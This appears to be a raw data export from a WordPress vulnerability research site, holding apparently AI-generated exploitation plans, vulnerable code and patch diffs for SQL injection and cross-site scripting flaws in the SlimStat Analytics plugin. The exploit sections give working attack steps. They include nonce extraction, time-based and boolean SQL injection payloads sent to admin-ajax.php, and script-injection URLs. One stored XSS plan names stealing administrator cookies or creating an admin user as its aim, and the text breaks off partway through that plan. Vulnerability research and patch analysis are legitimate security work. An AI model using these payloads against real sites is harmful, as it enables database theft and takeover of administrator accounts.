`sqlFor('HOUR', ...)` which utilize values from the `$args` array to concatenate into the query string.\n6.  **Sink**:\n    *   `$results = $wpdb->get_results($sqlInfo['sql']);` (Line 159). Since the query is built via concatenation in `buildSql` and the underlying `sqlFor` helpers, an attacker can inject SQL commands.\n\n### 4. Nonce Acquisition Strategy\nThe nonce is localized for use in the WordPress admin dashboard where analytics charts are displayed. Even Subscriber-level users can typically access certain dashboard widgets if enabled.\n\n1.  **Preparation**: Create a page containing a SlimStat shortcode to ensure all necessary scripts and nonces are enqueued.\n    *   `wp post create --post_type=page --post_title=\"Analytics\" --post_status=publish --post_content='[slimstat_chart]'`\n2.  **Navigation**: Navigate to the created page as a Subscriber user.\n3.  **Extraction**: Use `browser_eval` to find the JavaScript object containing the nonce.\n    *   SlimStat typically localizes data into an object named `SlimStatParams` or `SlimstatParams`.\n    *   **Action**: `browser_eval(\"window.SlimStatParams?.nonce || window.SlimstatParams?.nonce\")`\n    *   *Note*: If the shortcode doesn't work, check the Dashboard (`\u002Fwp-admin\u002Findex.php`) as SlimStat often enqueues its chart nonce for the \"At a Glance\" or \"Slimstat Overview\" widgets.\n\n### 5. Exploitation Strategy\nThe goal is to trigger a `SLEEP()` command to confirm the SQL injection.\n\n**HTTP Request (Playwright `http_request`):**\n*   **Method**: `POST`\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters**:\n    *   `action`: `slimstat_fetch_chart_data`\n    *   `nonce`: `[EXTRACTED_NONCE]`\n    *   `granularity`: `daily`\n    *   `args`: A JSON-encoded payload. Based on `buildSql`, the injection point is likely within a filter key or an unexpected key that gets concatenated into the `WHERE` clause.\n    *   **Payload Example**:\n        ```json\n        {\n          \"start\": 1704067200,\n          \"end\": 1735689600,\n          \"filter\": \"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"\n        }\n        ```\n    *   *Alternative payload* (if the injection is in the `granularity` check bypass or other keys):\n        ```json\n        {\n          \"start\": \"1704067200' AND SLEEP(5) AND '1'='1\",\n          \"end\": 1735689600\n        }\n        ```\n\n### 6. Test Data Setup\n1.  **User**: Create a subscriber user: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n2.  **Plugin Config**: Ensure SlimStat is active: `wp plugin activate wp-slimstat`.\n3.  **Content**: Create a page with the shortcode to leak the nonce:\n    *   `wp post create --post_type=page --post_status=publish --post_title=\"Leak\" --post_content='[slimstat_chart]'`\n4.  **Baseline**: Log in as `attacker` and navigate to the page to confirm the nonce exists.\n\n### 7. Expected Results\n*   **Vulnerable Response**: The HTTP request to `admin-ajax.php` will take approximately **5 seconds** longer than a normal request.\n*   **Success Indicator**: A JSON response containing `{\"success\":true, \"data\": ...}` or a database error if the sleep is successful but the rest of the query breaks.\n\n### 8. Verification Steps\n1.  **Database Check**: Use `wp db query` to check for the presence of the `wp_slim_stats` table to ensure the plugin is initialized.\n2.  **Timing**: Compare the `total_time` of a baseline request (valid `args`) vs the exploit request (injected `SLEEP`).\n3.  **Error Logging**: Check `wp-content\u002Fdebug.log` (if `WP_DEBUG` is on) for SQL syntax errors which confirm the point of injection:\n    *   `tail -f wp-content\u002Fdebug.log | grep \"WordPress database error\"`\n\n### 9. Alternative Approaches\n*   **Granularity Injection**: The `granularity` parameter in `Chart.php:ajaxFetchChartData` is sanitized with `sanitize_text_field`, but the `$args['granularity']` used later might be manipulated.\n*   **Boolean-based**: Instead of `SLEEP()`, use `OR (1=1)` or `OR (1=2)` and compare the `totals` object returned in the JSON response:\n    *   `wp_send_json_success(['totals' => $totals, ...])` (Line 81).\n    *   Differences in the `v1` or `v2` values in the response between `1=1` and `1=2` confirm boolean-based injection.\n*   **Key Discovery**: If `filter` is not the correct key, try injecting into `start`, `end`, or adding custom keys like `where` or `having` which the plugin might dynamically process into the SQL string.","SlimStat Analytics is vulnerable to authenticated SQL injection via the 'args' parameter in its AJAX chart data fetching functionality. The plugin decodes a JSON object and uses its values directly in SQL queries without sufficient sanitization or preparation, allowing users with Subscriber-level access or higher to perform time-based SQL injection.","\u002F\u002F src\u002FModules\u002FChart.php:48\npublic static function ajaxFetchChartData()\n{\n    check_ajax_referer('slimstat_chart_nonce', 'nonce');\n\n    $args        = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];\n    $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily';\n\n    if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) {\n        wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]);\n    }\n\n    if (!class_exists('\\wp_slimstat_db')) {\n        include_once SLIMSTAT_DIR . '\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php';\n        \\wp_slimstat_db::init();\n    }\n\n    \\wp_slimstat_db::$filters_normalized['utime']['start'] = $args['start'];\n    \\wp_slimstat_db::$filters_normalized['utime']['end']   = $args['end'];\n\n---\n\n\u002F\u002F src\u002FModules\u002FChart.php:156\nprivate function fetchChartData(array $args): array\n{\n    global $wpdb;\n\n    $prevArgs = $this->calculatePreviousArgs($args);\n    $sqlInfo  = $this->buildSql($args, $prevArgs);\n    $results  = $wpdb->get_results($sqlInfo['sql']);\n    $totals   = $wpdb->get_results($sqlInfo['totalsSql']);\n\n    return $this->processResults(\n        $results,\n        $totals,\n        $sqlInfo['params'],\n        $args['start'],\n        $args['end'],\n        $prevArgs['start'],\n        $prevArgs['end']\n    );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.1\u002Fsrc\u002FModules\u002FChart.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fsrc\u002FModules\u002FChart.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.1\u002Fsrc\u002FModules\u002FChart.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fsrc\u002FModules\u002FChart.php\t2025-11-24 05:41:38.000000000 +0000\n@@ -41,12 +41,26 @@\n     {\n         check_ajax_referer('slimstat_chart_nonce', 'nonce');\n \n+        \u002F\u002F Additional capability check - users must be able to view stats\n+        $minimum_capability = 'read';\n+        if (!current_user_can($minimum_capability)) {\n+            wp_send_json_error(['message' => __('Insufficient permissions', 'wp-slimstat')]);\n+        }\n+\n         $args        = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];\n         $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily';\n \n         if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) {\n             wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]);\n         }\n+\n+        \u002F\u002F Validate and sanitize start\u002Fend timestamps\n+        if (isset($args['start'])) {\n+            $args['start'] = absint($args['start']);\n+        }\n+        if (isset($args['end'])) {\n+            $args['end'] = absint($args['end']);\n+        }\n \n         if (!class_exists('\\wp_slimstat_db')) {\n             include_once SLIMSTAT_DIR . '\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php';\n@@ -216,8 +230,16 @@\n         global $wpdb;\n         $data1 = $args['chart_data']['data1'] ?? '';\n         $data2 = $args['chart_data']['data2'] ?? '';\n-\n-        $start = $args['start'];\n-        $end   = $args['end'];\n+\n+        \u002F\u002F Validate SQL expressions to prevent SQL injection\n+        $data1 = $this->validateSqlExpression($data1);\n+        $data2 = $this->validateSqlExpression($data2);\n+\n+        \u002F\u002F Ensure timestamps are integers (defense in depth)\n+        $start = absint($args['start']);\n+        $end   = absint($args['end']);\n+        $prevStart = absint($prevArgs['start']);\n+        $prevEnd = absint($prevArgs['end']);\n \n         $totalOffsetSeconds = (int) $wpdb->get_var('SELECT TIMESTAMPDIFF(SECOND, UTC_TIMESTAMP(), NOW())');\n         $sign               = ($totalOffsetSeconds \u003C 0) ? '+' : '-';","The vulnerability is exploited via an AJAX request to the 'slimstat_fetch_chart_data' action. \n\n1. An attacker authenticates as a Subscriber and retrieves a valid 'slimstat_chart_nonce' from the WordPress dashboard or a page using SlimStat shortcodes.\n2. The attacker crafts a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' containing the 'args' parameter as a JSON-encoded string.\n3. Within the 'args' JSON object, the attacker injects SQL payloads into keys such as 'start' or 'end'. For example: { \"start\": \"1735689600 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\", \"end\": 1735689700 }.\n4. Because the plugin uses these values directly in string concatenation to build the SQL query (specifically in the 'sqlFor' helper methods used by 'buildSql'), the SLEEP() command is executed by the database.\n5. The attacker observes the delay in response to confirm the injection.","2026-04-21 01:47:25","2026-04-21 01:47:49",{"id":91,"url_slug":92,"title":93,"description":94,"plugin_slug":4,"theme_slug":39,"affected_versions":95,"patched_in_version":96,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":99,"updated_date":100,"references":101,"days_to_patch":103,"patch_diff_files":104,"patch_trac_url":39,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":110,"research_summary":111,"research_vulnerable_code":112,"research_fix_diff":113,"research_exploit_outline":114,"research_model_used":60,"research_started_at":115,"research_completed_at":116,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-69323","slimstat-analytics-reflected-cross-site-scripting","Slimstat Analytics \u003C= 5.3.2 - Reflected Cross-Site Scripting","The Slimstat Analytics plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","\u003C=5.3.2","5.3.3",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2026-01-27 00:00:00","2026-02-02 16:36:09",[102],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F25de953d-e8c4-4ac7-ae6c-d8262bb083cd?source=api-prod",7,[51,105,106,107,108,79,80,109],"admin\u002Fview\u002Findex.php","admin\u002Fview\u002Fright-now.php","admin\u002Fview\u002Fwp-slimstat-db.php","admin\u002Fview\u002Fwp-slimstat-reports.php","vendor\u002Fcomposer\u002Fautoload_static.php"," refresh), then a nonce is needed.\n        The Reflected XSS is \"in pages that execute if they can successfully trick a user... clicking on a link\". This strongly suggests the main page load, not just an AJAX fragment.\n\n    *   *Let's assume no nonce is needed for the initial reflection.*\n\n    *   *One more thing:* `wp_slimstat_db::$debug_message`.\n        Where is it populated?\n        If I look at `wp-slimstat-db.php` in other Slimstat versions:\n        ```php\n        public static function init( $_filters = '' ) {\n            ...\n            if ( ! empty( $_filters ) ) {\n                $filters_array = explode( '&&&', $_filters );\n                foreach ( $filters_array as $filter ) {\n                    $bits = explode( ' ', $filter );\n                    if ( count( $bits ) \u003C 3 ) {\n                        self::$debug_message .= \"Invalid filter: $filter\"; \u002F\u002F SINK!\n                        continue;\n                    }\n                    ...\n                }\n            }\n        }\n        ```\n        This is perfect. If `fs` contains something that doesn't have 3 parts (e.g., no spaces), it's reflected.\n\n    *   *Test:* `?page=slimview1&fs=\u003Cscript>alert(1)\u003C\u002Fscript>`\n        The `explode(' ', '\u003Cscript>alert(1)\u003C\u002Fscript>')` will result in an array of","The Slimstat Analytics plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to insufficient input sanitization and output escaping in several report views. Unauthenticated attackers can exploit this by tricking an administrator into clicking a link containing a malicious payload, which is then reflected in the page header or debug messages, allowing for arbitrary script execution.","\u002F\u002F admin\u002Fview\u002Findex.php line 12\n\u003Ch2>\u003C?php echo wp_slimstat_admin::$screens_info[$_GET['page']]['title'] ?>\u003C\u002Fh2>\n\n---\n\n\u002F\u002F admin\u002Fview\u002Fright-now.php line 57\n\u002F\u002F Echo the debug message\necho wp_slimstat_db::$debug_message;\n\n---\n\n\u002F\u002F admin\u002Fview\u002Fwp-slimstat-db.php line 147\n\u002F\u002F Fields and drop downs\nif (!empty($_POST['f']) && !empty($_POST['o'])) {\n    $filters_array[htmlspecialchars($_POST['f'])] = sprintf('%s %s ', $_POST[ 'f' ], $_POST[ 'o' ]) . ($_POST['v'] ?? '');\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Findex.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Findex.php\t2025-12-17 11:24:04.000000000 +0000\n@@ -9,7 +9,7 @@\n \n \u003Cdiv class=\"backdrop-container\">\n     \u003Cdiv class=\"wrap slimstat\">\n-        \u003Ch2>\u003C?php echo wp_slimstat_admin::$screens_info[$_GET['page']]['title'] ?>\u003C\u002Fh2>\n+        \u003Ch2>\u003C?php echo isset($_GET['page']) && isset(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]) ? esc_html(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]['title']) : '' ?>\u003C\u002Fh2>\n \n         \u003Cdiv class=\"notice slimstat-notice slimstat-tooltip-content\" style=\"background-color:#ffa;border:0;padding:10px\">\u003C?php _e('\u003Cstrong>AdBlock browser extension detected\u003C\u002Fstrong> - If you see this notice, it means that your browser is not loading our stylesheet and\u002For Javascript files correctly. This could be caused by an overzealous ad blocker feature enabled in your browser (AdBlock Plus and friends). \u003Ca href=\"https:\u002F\u002Fwp-slimstat.com\u002Fresources\u002Fthe-reports-are-not-being-rendered-correctly-or-buttons-do-not-work\" target=\"_blank\">Please make sure to add an exception\u003C\u002Fa> to your configuration and allow the browser to load these assets.', 'wp-slimstat'); ?>\u003C\u002Fdiv>\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fright-now.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fright-now.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fright-now.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fright-now.php\t2025-12-17 11:24:04.000000000 +0000\n@@ -251,7 +251,8 @@\n     \u002F\u002F Pageview Notes\n     $notes = '';\n     if (is_admin() && !empty($results[$i]['notes'])) {\n-        $notes = str_replace(['][', ':', '[', ']'], ['\u003Cbr\u002F>', ': ', '', ''], $results[$i]['notes']);\n+        $notes = esc_html($results[$i]['notes']);\n+        $notes = str_replace(['][', ':', '[', ']'], ['\u003Cbr\u002F>', ': ', '', ''], $notes);\n         $notes = sprintf(\"\u003Ci class='slimstat-font-edit slimstat-tooltip-trigger'>\u003Cb class='slimstat-tooltip-content'>%s\u003C\u002Fb>\u003C\u002Fi>\", $notes);\n     }\n \n@@ -264,15 +265,15 @@\n     if (!$is_dashboard) {\n         $domain                      = parse_url($results[$i]['referer'] ?: '');\n         $domain                      = empty($domain['host']) ? __('Invalid Referrer', 'wp-slimstat') : $domain['host'];\n-        $results[$i]['referer']      = (!empty($results[$i]['referer']) && empty($results[$i]['searchterms'])) ? \"\u003Ca class='spaced slimstat-font-login slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this referrer in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf(\"' href='%s'>\u003C\u002Fa> %s\", $results[$i]['referer'], $domain) : '';\n-        $results[$i]['content_type'] = empty($results[$i]['content_type']) ? '' : \"\u003Ci class='spaced slimstat-font-doc slimstat-tooltip-trigger' title='\" . __('Content Type', 'wp-slimstat') . \"'>\u003C\u002Fi> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('content_type equals ' . $results[$i]['content_type']) . sprintf(\"'>%s\u003C\u002Fa> \", $results[$i]['content_type']);\n+        $results[$i]['referer']      = (!empty($results[$i]['referer']) && empty($results[$i]['searchterms'])) ? \"\u003Ca class='spaced slimstat-font-login slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this referrer in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf(\"' href='%s'>\u003C\u002Fa> %s\", esc_url($results[$i]['referer']), esc_html($domain)) : '';\n+        $results[$i]['content_type'] = empty($results[$i]['content_type']) ? '' : \"\u003Ci class='spaced slimstat-font-doc slimstat-tooltip-trigger' title='\" . __('Content Type', 'wp-slimstat') . \"'>\u003C\u002Fi> \u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('content_type equals ' . $results[$i]['content_type']) . sprintf(\"'>%s\u003C\u002Fa> \", esc_html($results[$i]['content_type']));\n \n         \u002F\u002F The Outbound Links field might contain more than one link\n         if (!empty($results[$i]['outbound_resource'])) {\n             if ('#' !== substr($results[$i]['outbound_resource'], 0, 1)) {\n-                $results[$i]['outbound_resource'] = \"\u003Ca class='inline-icon spaced slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this outbound link in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf(\"' href='%s'>\u003C\u002Fa> %s\", $results[ $i ][ 'outbound_resource' ], $results[ $i ][ 'outbound_resource' ]);\n+                $results[$i]['outbound_resource'] = \"\u003Ca class='inline-icon spaced slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='\" . htmlentities(__('Open this outbound link in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf(\"' href='%s'>\u003C\u002Fa> %s\", esc_url($results[ $i ][ 'outbound_resource' ]), esc_html($results[ $i ][ 'outbound_resource' ]));\n             } else {\n-                $results[$i]['outbound_resource'] = \"\u003Ci class='inline-icon spaced slimstat-font-logout'>\u003C\u002Fi> \" . $results[ $i ][ 'outbound_resource' ];\n+                $results[$i]['outbound_resource'] = \"\u003Ci class='inline-icon spaced slimstat-font-logout'>\u003C\u002Fi> \" . esc_html($results[ $i ][ 'outbound_resource' ]);\n             }\n         } else {\n             $results[$i]['outbound_resource'] = '';\n@@ -291,7 +292,7 @@\n                     continue;\n                 }\n \n-                $login_logout .= \"\u003Ci class='slimstat-font-user-plus spaced slimstat-tooltip-trigger' title='\" . __('User Logged In', 'wp-slimstat') . \"'>\u003C\u002Fi> \" . str_replace('loggedin:', '', $a_note);\n+                $login_logout .= \"\u003Ci class='slimstat-font-user-plus spaced slimstat-tooltip-trigger' title='\" . __('User Logged In', 'wp-slimstat') . \"'>\u003C\u002Fi> \" . esc_html(str_replace('loggedin:', '', $a_note));\n             }\n         }\n \n@@ -302,7 +303,7 @@\n                     continue;\n                 }\n \n-                $login_logout .= \"\u003Ci class='slimstat-font-user-times spaced slimstat-tooltip-trigger' title='\" . __('User Logged Out', 'wp-slimstat') . \"'>\u003C\u002Fi> \" . str_replace('loggedout:', '', $a_note);\n+                $login_logout .= \"\u003Ci class='slimstat-font-user-times spaced slimstat-tooltip-trigger' title='\" . __('User Logged Out', 'wp-slimstat') . \"'>\u003C\u002Fi> \" . esc_html(str_replace('loggedout:', '', $a_note));\n             }\n         }\n     } else {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php\t2025-12-17 11:24:04.000000000 +0000\n@@ -145,7 +145,7 @@\n \n         \u002F\u002F Fields and drop downs\n         if (!empty($_POST['f']) && !empty($_POST['o'])) {\n-            $filters_array[htmlspecialchars($_POST['f'])] = sprintf('%s %s ', $_POST[ 'f' ], $_POST[ 'o' ]) . ($_POST['v'] ?? '');\n+            $filters_array[sanitize_text_field($_POST['f'])] = sprintf('%s %s ', sanitize_text_field($_POST[ 'f' ]), sanitize_text_field($_POST[ 'o' ])) . (isset($_POST['v']) ? sanitize_text_field($_POST['v']) : '');\n         }\n \n         \u002F\u002F Filters set via the plugin options\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.3\u002Fadmin\u002Fview\u002Fwp-slimstat-reports.php\t2025-12-17 11:24:04.000000000 +0000\n@@ -1237,6 +1237,10 @@\n                         $element_value = str_replace(['\u003C', '>'], ['&lt;', '&gt;'], urldecode($results[$i][$_args['columns']]));\n                         break;\n \n+                    case 'outbound_resource':\n+                        $element_value = esc_html($results[$i][$_args['columns']]);\n+                        break;\n+\n                     case 'resource':\n                         $resource_title = self::get_resource_title($results[$i][$_args['columns']]);\n                         if ($resource_title != $results[$i][$_args['columns']]) {\n@@ -1793,11 +1797,11 @@\n         parse_str($_referer, $query_parse_str);\n \n         if (isset($query_parse_str['source']) && ([] !== $query_parse_str['source'] && ('' !== $query_parse_str['source'] && '0' !== $query_parse_str['source'])) && !$_serp_only) {\n-            $query_details = __('src', 'wp-slimstat') . (': ' . $query_parse_str[ 'source' ]);\n+            $query_details = __('src', 'wp-slimstat') . (': ' . esc_html($query_parse_str[ 'source' ]));\n         }\n \n         if (isset($query_parse_str['cd']) && ('' !== $query_parse_str['cd'] && '0' !== $query_parse_str['cd'] && [] !== $query_parse_str['cd'])) {\n-            $query_details = __('serp', 'wp-slimstat') . (': ' . $query_parse_str[ 'cd' ]);\n+            $query_details = __('serp', 'wp-slimstat') . (': ' . esc_html($query_parse_str[ 'cd' ]));\n         }\n \n         if ('' !== $query_details && '0' !== $query_details) {","The exploit targets the WordPress administrative dashboard where Slimstat reports are rendered. An attacker crafts a URL targeting a Slimstat report page (e.g., `wp-admin\u002Fadmin.php?page=slimview1`) and includes a malicious payload in parameters such as `fs` (filter string) or `page`. \n\n1. For the `fs` parameter, the attacker provides a string that does not match the expected filter format (e.g., `\u003Cscript>alert(1)\u003C\u002Fscript>`). When the plugin processes this invalid filter in `wp_slimstat_db::init()`, it appends the raw payload to a debug message variable.\n2. When the report page renders (specifically `right-now.php`), this debug message is echoed directly into the HTML without escaping.\n3. Alternatively, the `page` parameter itself is used to look up a title in an internal array and that title's reflection can be manipulated or the parameter itself can be used in sinks that lack sufficient escaping in `admin\u002Fview\u002Findex.php`.\n\nThe attacker must convince a logged-in administrator to click this malicious link to execute scripts in their browser session.","2026-05-04 23:20:56","2026-05-04 23:21:44",{"id":118,"url_slug":119,"title":120,"description":121,"plugin_slug":4,"theme_slug":39,"affected_versions":122,"patched_in_version":123,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":124,"updated_date":125,"references":126,"days_to_patch":49,"patch_diff_files":128,"patch_trac_url":39,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":129,"research_summary":130,"research_vulnerable_code":131,"research_fix_diff":132,"research_exploit_outline":133,"research_model_used":60,"research_started_at":134,"research_completed_at":135,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-15057","slimstat-analytics-unauthenticated-stored-cross-site-scripting-via-fh-parameter","SlimStat Analytics \u003C= 5.3.3 - Unauthenticated Stored Cross-Site Scripting via 'fh' Parameter","The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `fh` (fingerprint) parameter in all versions up to, and including, 5.3.3. This is due to insufficient input sanitization and output escaping on the fingerprint value stored in the database. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator views the Real-time Access Log report.","\u003C=5.3.3","5.3.4","2026-01-08 18:00:57","2026-01-09 06:34:57",[127],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F90920df9-1362-466b-b14b-4714087f556b?source=api-prod",[51,106,79,80,82],"# Exploitation Research Plan - CVE-2025-15057\n\n## 1. Vulnerability Summary\nThe **SlimStat Analytics** plugin (\u003C= 5.3.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `fh` (fingerprint) parameter collected during visitor tracking requests. This malicious payload is stored in the database and subsequently executed in the browser of an administrator when they view the **Real-time Access Log** report.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API or `admin-ajax.php` tracking endpoint.\n    *   REST Route: `\u002Fwp-json\u002Fwp-slimstat\u002Fv1\u002Ftrack` (Primary in version 5.3.x).\n    *   AJAX Action: `slimstat_track` (Fallback\u002FAlternative).\n*   **Vulnerable Parameter:** `fh` (Fingerprint Hash).\n*   **Authentication:** None required (Unauthenticated). Tracking is designed to capture data from all site visitors.\n*   **Preconditions:** The plugin must have tracking enabled (default state).\n\n## 3. Code Flow\n1.  **Entry Point (Tracking):** The plugin registers a REST route in `wp_slimstat::init()` via `\\SlimStat\\Providers\\RESTService::run()`.\n2.  **Data Acquisition:** When a tracking request is sent (e.g., via the browser-side script `wp-slimstat.js`), the server-side logic (likely in `src\u002FProviders\u002FRESTService.php` or `wp_slimstat::slimtrack_ajax()`) extracts parameters from the request.\n3.  **Storage:** The `fh` value is extracted and passed to a database insertion method, likely `wp_slimstat_db::insert()`. The source code for `wp_slimstat_db` is not fully provided, but based on the vulnerability description, this value is stored without sanitization.\n4.  **Sink (Rendering):** An administrator accesses the dashboard at `\u002Fwp-admin\u002Fadmin.php?page=slimview1`.\n5.  **Execution:** The file `admin\u002Fview\u002Fright-now.php` calls `wp_slimstat_db::get_recent()`. It iterates through the results and renders the visit details. The fingerprint (`fh`) is typically displayed in a tooltip or a specific column (e.g., as a unique identifier for the visitor). Because `admin\u002Fview\u002Fright-now.php` fails to use `esc_html()` or `esc_attr()` on this value, the stored script executes.\n\n## 4. Nonce Acquisition Strategy\nTracking requests in SlimStat usually require a nonce to prevent spam, even for unauthenticated users. This nonce is typically localized in the frontend.\n\n1.  **Identify Script Localization:** The plugin enqueues the tracker in `wp_slimstat::enqueue_tracker`.\n2.  **Shortcode:** The tracking script is usually loaded on any page where tracking is active. By default, this is the entire frontend.\n3.  **Extraction:**\n    *   **Action:** Create a dummy post\u002Fpage to ensure the script triggers.\n    *   **Command:** `wp post create --post_type=page --post_status=publish --post_title=\"Tracking Test\" --post_content=\"Tracking Page\"`\n    *   **Navigation:** Use `browser_navigate` to the URL of the new page.\n    *   **JS Variable:** SlimStat localizes its configuration in a variable named `SlimStatParams` (inferred from common plugin patterns) or similar.\n    *   **Verification:** Use `browser_eval(\"window.SlimStatParams\")` to find the exact key. Based on typical SlimStat versions, the key is `extensions.nonce` or simply `nonce`.\n\n## 5. Exploitation Strategy\nThe goal is to send a malicious `fh` value that stores a script to exfiltrate the administrator's cookies or create a new admin user.\n\n### Step-by-Step Plan:\n1.  **Identify Tracking Endpoint:**\n    Verify if the site uses the REST API (preferred in 5.3.x) or AJAX.\n2.  **Extract Nonce:**\n    Navigate to the homepage and use `browser_eval` to extract the nonce from the `SlimStatParams` object.\n    *Example:* 